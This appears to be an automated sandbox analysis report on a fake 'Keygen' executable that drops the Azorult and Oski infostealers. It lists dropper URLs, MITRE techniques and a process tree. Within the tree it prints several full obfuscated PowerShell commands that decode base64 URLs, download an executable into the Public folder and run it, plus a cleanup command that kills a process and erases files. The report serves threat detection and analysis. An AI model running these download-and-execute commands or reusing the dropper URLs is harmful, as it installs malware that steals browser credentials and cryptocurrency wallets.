azorult | 201001-nyhbt4p25j_pw_infected[.]rar

Resubmissions

02-10-2020 21:14

201002-pjxdl9y6a6 10

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:49

Analysis

max time kernel
23s
max time network
150s
platform
windows10_x64
resource
win10
submitted
01-10-2020 20:51

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General

Target

201001-nyhbt4p25j_pw_infected/Keygen — копия (102) — копия.exe

Score

10^/10

azorult oski discovery infostealer spyware stealer trojan

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhHT

exe.dropper

http://bit.do/fqhHT

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://zxvbcrt.ug/zxcvb.exe

exe.dropper

http://zxvbcrt.ug/zxcvb.exe

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhJv

exe.dropper

http://bit.do/fqhJv

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://pdshcjvnv.ug/zxcvb.exe

exe.dropper

http://pdshcjvnv.ug/zxcvb.exe

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhJD

exe.dropper

http://bit.do/fqhJD

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://rbcxvnb.ug/zxcvb.exe

exe.dropper

http://rbcxvnb.ug/zxcvb.exe

Signatures

Azorult
An information stealer that was first discovered in 2016, targeting browsing history and passwords.
trojan infostealer azorult
Oski
Oski is an infostealer targeting browser data, crypto wallets.
infostealer oski
Blocklisted process makes network request 6 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

flow pid process

10 3940 powershell.exe
11 2068 powershell.exe
13 2068 powershell.exe
14 4404 powershell.exe
17 4404 powershell.exe
27 3940 powershell.exe
Downloads MZ/PE file

flow	pid	process
10	3940	powershell.exe
11	2068	powershell.exe
13	2068	powershell.exe
14	4404	powershell.exe
17	4404	powershell.exe
27	3940	powershell.exe

Executes dropped EXE 14 IoCs

Processes:

Keygen.exebwa.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exebwa.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exefkw.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exefkw.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exeufn.exe

pid	process
1856	Keygen.exe
4964	bwa.exe
5044	FVjhgtresfdbv.exe
5060	NHtrdsaghfDF.exe
3844	bwa.exe
4136	FVjhgtresfdbv.exe
4168	NHtrdsaghfDF.exe
1264	fkw.exe
1292	FVjhgtresfdbv.exe
4808	NHtrdsaghfDF.exe
2668	fkw.exe
3956	FVjhgtresfdbv.exe
1988	NHtrdsaghfDF.exe
948	ufn.exe

Loads dropped DLL 3 IoCs

Processes:

FVjhgtresfdbv.exe

pid process

4136 FVjhgtresfdbv.exe
4136 FVjhgtresfdbv.exe
4136 FVjhgtresfdbv.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

pid	process
4136	FVjhgtresfdbv.exe
4136	FVjhgtresfdbv.exe
4136	FVjhgtresfdbv.exe

Suspicious use of SetThreadContext 6 IoCs

Processes:

bwa.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exefkw.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exe

description	pid	process	target process
PID 4964 set thread context of 3844	4964	bwa.exe	bwa.exe
PID 5044 set thread context of 4136	5044	FVjhgtresfdbv.exe	FVjhgtresfdbv.exe
PID 5060 set thread context of 4168	5060	NHtrdsaghfDF.exe	NHtrdsaghfDF.exe
PID 1264 set thread context of 2668	1264	fkw.exe	fkw.exe
PID 1292 set thread context of 3956	1292	FVjhgtresfdbv.exe	FVjhgtresfdbv.exe
PID 4808 set thread context of 1988	4808	NHtrdsaghfDF.exe	NHtrdsaghfDF.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

4308 3956 WerFault.exe FVjhgtresfdbv.exe
Checks processor information in registry 2 TTPs 1 IoCs
Processor information is often read in order to detect sandboxing environments.

Query Registry
T1012

System Information Discovery
T1082

Processes:

FVjhgtresfdbv.exe

description ioc process

Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString FVjhgtresfdbv.exe
Delays execution with timeout.exe 2 IoCs
evasion

Processes:

timeout.exetimeout.exe

pid process

2656 timeout.exe
4072 timeout.exe
Kills process with taskkill 1 IoCs
evasion

Processes:

taskkill.exe

pid process

4384 taskkill.exe
Modifies registry class 1 IoCs

Processes:

cmd.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000_Classes\Local Settings cmd.exe

pid	pid_target	process	target process
4308	3956	WerFault.exe	FVjhgtresfdbv.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	FVjhgtresfdbv.exe

pid	process
2656	timeout.exe
4072	timeout.exe

pid	process
4384	taskkill.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000_Classes\Local Settings	cmd.exe

Suspicious behavior: EnumeratesProcesses 24 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid	process
3688	powershell.exe
2068	powershell.exe
3940	powershell.exe
1648	powershell.exe
2068	powershell.exe
3688	powershell.exe
3940	powershell.exe
1648	powershell.exe
3688	powershell.exe
3688	powershell.exe
3940	powershell.exe
3940	powershell.exe
2068	powershell.exe
2068	powershell.exe
1648	powershell.exe
1648	powershell.exe
4404	powershell.exe
4404	powershell.exe
4592	powershell.exe
4592	powershell.exe
4404	powershell.exe
4592	powershell.exe
4404	powershell.exe
4592	powershell.exe

Suspicious behavior: MapViewOfSection 6 IoCs

Processes:

bwa.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exefkw.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exe

pid process

4964 bwa.exe
5044 FVjhgtresfdbv.exe
5060 NHtrdsaghfDF.exe
1264 fkw.exe
1292 FVjhgtresfdbv.exe
4808 NHtrdsaghfDF.exe

pid	process
4964	bwa.exe
5044	FVjhgtresfdbv.exe
5060	NHtrdsaghfDF.exe
1264	fkw.exe
1292	FVjhgtresfdbv.exe
4808	NHtrdsaghfDF.exe

Suspicious use of AdjustPrivilegeToken 9 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exeWerFault.exetaskkill.exe

description	pid	process
Token: SeDebugPrivilege	3688	powershell.exe
Token: SeDebugPrivilege	2068	powershell.exe
Token: SeDebugPrivilege	3940	powershell.exe
Token: SeDebugPrivilege	1648	powershell.exe
Token: SeDebugPrivilege	4404	powershell.exe
Token: SeDebugPrivilege	4592	powershell.exe
Token: SeRestorePrivilege	4308	WerFault.exe
Token: SeBackupPrivilege	4308	WerFault.exe
Token: SeDebugPrivilege	4384	taskkill.exe

Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

Keygen.exebwa.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exefkw.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exe

pid process

1856 Keygen.exe
4964 bwa.exe
5044 FVjhgtresfdbv.exe
5060 NHtrdsaghfDF.exe
1264 fkw.exe
1292 FVjhgtresfdbv.exe
4808 NHtrdsaghfDF.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

Keygen — копия (102) — копия.execmd.exemshta.exemshta.exemshta.exemshta.exemshta.exemshta.exepowershell.exebwa.exeFVjhgtresfdbv.exe

description	pid	process	target process
PID 3896 wrote to memory of 1284	3896	Keygen — копия (102) — копия.exe	cmd.exe
PID 3896 wrote to memory of 1284	3896	Keygen — копия (102) — копия.exe	cmd.exe
PID 3896 wrote to memory of 1284	3896	Keygen — копия (102) — копия.exe	cmd.exe
PID 1284 wrote to memory of 1856	1284	cmd.exe	Keygen.exe
PID 1284 wrote to memory of 1856	1284	cmd.exe	Keygen.exe
PID 1284 wrote to memory of 1856	1284	cmd.exe	Keygen.exe
PID 1284 wrote to memory of 2176	1284	cmd.exe	mshta.exe
PID 1284 wrote to memory of 2176	1284	cmd.exe	mshta.exe
PID 1284 wrote to memory of 2176	1284	cmd.exe	mshta.exe
PID 1284 wrote to memory of 3044	1284	cmd.exe	mshta.exe
PID 1284 wrote to memory of 3044	1284	cmd.exe	mshta.exe
PID 1284 wrote to memory of 3044	1284	cmd.exe	mshta.exe
PID 1284 wrote to memory of 2656	1284	cmd.exe	timeout.exe
PID 1284 wrote to memory of 2656	1284	cmd.exe	timeout.exe
PID 1284 wrote to memory of 2656	1284	cmd.exe	timeout.exe
PID 2176 wrote to memory of 2068	2176	mshta.exe	powershell.exe
PID 2176 wrote to memory of 2068	2176	mshta.exe	powershell.exe
PID 2176 wrote to memory of 2068	2176	mshta.exe	powershell.exe
PID 3044 wrote to memory of 3688	3044	mshta.exe	powershell.exe
PID 3044 wrote to memory of 3688	3044	mshta.exe	powershell.exe
PID 3044 wrote to memory of 3688	3044	mshta.exe	powershell.exe
PID 1284 wrote to memory of 1344	1284	cmd.exe	mshta.exe
PID 1284 wrote to memory of 1344	1284	cmd.exe	mshta.exe
PID 1284 wrote to memory of 1344	1284	cmd.exe	mshta.exe
PID 1284 wrote to memory of 3104	1284	cmd.exe	mshta.exe
PID 1284 wrote to memory of 3104	1284	cmd.exe	mshta.exe
PID 1284 wrote to memory of 3104	1284	cmd.exe	mshta.exe
PID 1284 wrote to memory of 4072	1284	cmd.exe	timeout.exe
PID 1284 wrote to memory of 4072	1284	cmd.exe	timeout.exe
PID 1284 wrote to memory of 4072	1284	cmd.exe	timeout.exe
PID 1344 wrote to memory of 3940	1344	mshta.exe	powershell.exe
PID 1344 wrote to memory of 3940	1344	mshta.exe	powershell.exe
PID 1344 wrote to memory of 3940	1344	mshta.exe	powershell.exe
PID 3104 wrote to memory of 1648	3104	mshta.exe	powershell.exe
PID 3104 wrote to memory of 1648	3104	mshta.exe	powershell.exe
PID 3104 wrote to memory of 1648	3104	mshta.exe	powershell.exe
PID 1284 wrote to memory of 4316	1284	cmd.exe	mshta.exe
PID 1284 wrote to memory of 4316	1284	cmd.exe	mshta.exe
PID 1284 wrote to memory of 4316	1284	cmd.exe	mshta.exe
PID 4316 wrote to memory of 4404	4316	mshta.exe	powershell.exe
PID 4316 wrote to memory of 4404	4316	mshta.exe	powershell.exe
PID 4316 wrote to memory of 4404	4316	mshta.exe	powershell.exe
PID 1284 wrote to memory of 4472	1284	cmd.exe	mshta.exe
PID 1284 wrote to memory of 4472	1284	cmd.exe	mshta.exe
PID 1284 wrote to memory of 4472	1284	cmd.exe	mshta.exe
PID 4472 wrote to memory of 4592	4472	mshta.exe	powershell.exe
PID 4472 wrote to memory of 4592	4472	mshta.exe	powershell.exe
PID 4472 wrote to memory of 4592	4472	mshta.exe	powershell.exe
PID 2068 wrote to memory of 4964	2068	powershell.exe	bwa.exe
PID 2068 wrote to memory of 4964	2068	powershell.exe	bwa.exe
PID 2068 wrote to memory of 4964	2068	powershell.exe	bwa.exe
PID 4964 wrote to memory of 5044	4964	bwa.exe	FVjhgtresfdbv.exe
PID 4964 wrote to memory of 5044	4964	bwa.exe	FVjhgtresfdbv.exe
PID 4964 wrote to memory of 5044	4964	bwa.exe	FVjhgtresfdbv.exe
PID 4964 wrote to memory of 5060	4964	bwa.exe	NHtrdsaghfDF.exe
PID 4964 wrote to memory of 5060	4964	bwa.exe	NHtrdsaghfDF.exe
PID 4964 wrote to memory of 5060	4964	bwa.exe	NHtrdsaghfDF.exe
PID 4964 wrote to memory of 3844	4964	bwa.exe	bwa.exe
PID 4964 wrote to memory of 3844	4964	bwa.exe	bwa.exe
PID 4964 wrote to memory of 3844	4964	bwa.exe	bwa.exe
PID 4964 wrote to memory of 3844	4964	bwa.exe	bwa.exe
PID 5044 wrote to memory of 4136	5044	FVjhgtresfdbv.exe	FVjhgtresfdbv.exe
PID 5044 wrote to memory of 4136	5044	FVjhgtresfdbv.exe	FVjhgtresfdbv.exe
PID 5044 wrote to memory of 4136	5044	FVjhgtresfdbv.exe	FVjhgtresfdbv.exe

C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — копия (102) — копия.exe
"C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — копия (102) — копия.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3896

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\1E7A.tmp\start.bat" "C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — ????? (102) — ?????.exe""
2⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1284

C:\Users\Admin\AppData\Local\Temp\1E7A.tmp\Keygen.exe
Keygen.exe
3⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:1856

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\1E7A.tmp\m.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:2176

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iguyoamkbvf $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iguyoamkbvf umgptdaebf $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|umgptdaebf;iguyoamkbvf rsatiq $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhIVA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);rsatiq $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2068

C:\Users\Public\bwa.exe
"C:\Users\Public\bwa.exe"
5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4964

C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
"C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:5044

C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
"C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"
7⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
PID:4136

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /pid 4136 & erase C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe & RD /S /Q C:\\ProgramData\\378092485237679\\* & exit
8⤵
PID:5072

C:\Windows\SysWOW64\taskkill.exe
taskkill /pid 4136
9⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4384

C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
"C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:5060

C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
"C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"
7⤵
- Executes dropped EXE
PID:4168

C:\Users\Public\bwa.exe
"C:\Users\Public\bwa.exe"
6⤵
- Executes dropped EXE
PID:3844

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\1E7A.tmp\m1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:3044

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iyhxbstew $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iyhxbstew bruolc $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bruolc;iyhxbstew cplmfksidr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3p4dmJjcnQudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);cplmfksidr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3688

C:\Windows\SysWOW64\timeout.exe
timeout 1
3⤵
- Delays execution with timeout.exe
PID:2656

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\1E7A.tmp\b.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:1344

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL omdrklgfia $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;omdrklgfia yvshnex $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|yvshnex;omdrklgfia gemjhbnrwydsof $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKdg==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);gemjhbnrwydsof $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3940

C:\Users\Public\ufn.exe
"C:\Users\Public\ufn.exe"
5⤵
- Executes dropped EXE
PID:948

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\1E7A.tmp\b1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:3104

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL ftdrmoulpbhgsc $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;ftdrmoulpbhgsc rfmngajuyepx $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|rfmngajuyepx;ftdrmoulpbhgsc hnjmzobgr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3Bkc2hjanZudi51Zy96eGN2Yi5leGU=';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);hnjmzobgr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1648

C:\Windows\SysWOW64\timeout.exe
timeout 2
3⤵
- Delays execution with timeout.exe
PID:4072

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\1E7A.tmp\ba.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:4316

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL vfudzcotabjeq $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;vfudzcotabjeq urdjneqmx $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|urdjneqmx;vfudzcotabjeq wuirkcyfmgjql $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKRA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);wuirkcyfmgjql $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4404

C:\Users\Public\fkw.exe
"C:\Users\Public\fkw.exe"
5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:1264

C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
"C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:1292

C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
"C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"
7⤵
- Executes dropped EXE
PID:3956

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3956 -s 1248
8⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
PID:4308

C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
"C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:4808

C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
"C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"
7⤵
- Executes dropped EXE
PID:1988

C:\Users\Public\fkw.exe
"C:\Users\Public\fkw.exe"
6⤵
- Executes dropped EXE
PID:2668

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\1E7A.tmp\ba1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:4472

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
